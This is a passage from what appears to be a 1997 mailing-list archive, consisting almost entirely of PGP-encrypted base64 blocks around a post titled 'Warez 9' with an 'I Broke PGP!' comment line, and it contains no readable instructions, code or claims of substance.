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
xRXdqtkgXGTSvcJFrV2UOmU/rlh7CpN7Ct30zg==
=vNLO
-----END PGP MESSAGE-----




From hg-p at dev.null  Thu Dec 18 00:40:09 1997
From: hg-p at dev.null (Human Gus-Peter)
Date: Thu, 18 Dec 1997 16:40:09 +0800
Subject: Warez 9
Message-ID: <199712180829.AAA16056@toad.com>




-----BEGIN PGP MESSAGE-----
Version: PGP for Business Security 5.5
Comment: "I Broke PGP!"

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
